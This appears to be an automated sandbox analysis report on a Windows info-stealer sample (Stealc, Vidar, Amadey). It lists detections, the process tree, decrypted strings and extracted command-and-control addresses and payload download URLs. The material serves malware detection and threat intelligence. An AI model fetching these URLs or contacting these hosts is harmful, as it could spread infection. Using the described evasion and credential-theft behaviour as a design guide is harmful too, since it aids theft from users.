Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1466009
MD5:	541a32fe5ac6b171816e5a05e1adbf5e
SHA1:	bbe86e87370c676843e6d5b4215d5b8a52847939
SHA256:	b67d10e83ae21e308815e08d8412da53dd3b038d7d8905218aebb19302ffe146
Tags:	exeStealc
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3752 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 541A32FE5AC6B171816E5A05E1ADBF5E)

cmd.exe (PID: 7716 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IIEBGIDAAF.exe (PID: 7812 cmdline: "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe" MD5: 442753C1A170187760A45DAF83847861)

explorti.exe (PID: 8188 cmdline: "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 442753C1A170187760A45DAF83847861)

dca3d29d0f.exe (PID: 1748 cmdline: "C:\Users\user~1\AppData\Local\Temp\1000006001\dca3d29d0f.exe" MD5: 541A32FE5AC6B171816E5A05E1ADBF5E)

cmd.exe (PID: 7736 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IJEGDBGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 8176 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 442753C1A170187760A45DAF83847861)

explorti.exe (PID: 744 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 442753C1A170187760A45DAF83847861)

explorti.exe (PID: 1496 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 442753C1A170187760A45DAF83847861)

explorti.exe (PID: 7948 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 442753C1A170187760A45DAF83847861)

explorti.exe (PID: 3024 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 442753C1A170187760A45DAF83847861)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001F.00000003.3358486164.0000000005440000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.1461294563.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.1554184729.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000001F.00000002.3398743541.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2760825261.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2159802976.0000000005680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.1461422142.00000000054F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.1594528024.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.1501843736.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.1451020553.0000000000951000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.3674990302.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2200078602.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.1409122508.0000000005070000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2801578780.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3752	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3752	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3752	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: dca3d29d0f.exe PID: 1748	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
31.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.IIEBGIDAAF.exe.950000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.explorti.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.dca3d29d0f.exe.5f0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
23.2.dca3d29d0f.exe.5f0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.file.exe.60000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.60000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe, ProcessId: 8176, ProcessName: explorti.exe

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.7 - Destination IP: 77.91.77.82

Timestamp:	07/02/24-12:21:23.717963
SID:	2856147
Source Port:	55236
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.7

Timestamp:	07/02/24-12:21:28.067233
SID:	2856122
Source Port:	80
Destination Port:	55236
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.7

Timestamp:	07/02/24-12:20:56.592521
SID:	2051831
Source Port:	80
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.7 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-12:20:55.506727
SID:	2044243
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.7 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-12:20:56.229201
SID:	2044244
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.7

Timestamp:	07/02/24-12:20:56.407556
SID:	2051828
Source Port:	80
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.7 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-12:20:56.409542
SID:	2044246
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe50673b5d764U	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exeOpera	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/F	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/g	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpu	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpF	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllr	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exeurlencoded	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllh	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpl	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpq	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpt	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 0.2.file.exe.60000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.8188.20.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpM	Virustotal: Detection: 22%	Perma Link
Source: http://85.28.47.4/	Virustotal: Detection: 17%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpH	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpO	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpa	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php%	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/	Virustotal: Detection: 22%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpC	Virustotal: Detection: 23%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php9	Virustotal: Detection: 20%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.phpF	Virustotal: Detection: 13%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllr	Virustotal: Detection: 18%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://77.91.77.81/stealc/random.exeurlencoded	Virustotal: Detection: 24%	Perma Link
Source: http://77.91.77.82/	Virustotal: Detection: 23%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 44%			Perma Link
Source: file.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.60000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.60000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.60000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.60000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.60000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.60000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.60000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.60000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.60000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.60000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.60000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.60000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.60000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.60000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.60000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.60000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.60000.0.unpack	String decryptor: http://85.28.47.4
Source: 0.2.file.exe.60000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.file.exe.60000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.file.exe.60000.0.unpack	String decryptor: jony
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.60000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.60000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.60000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.60000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.60000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.60000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.60000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.60000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.60000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.60000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.60000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.60000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.60000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.60000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.60000.0.unpack	String decryptor: TerminateProcess
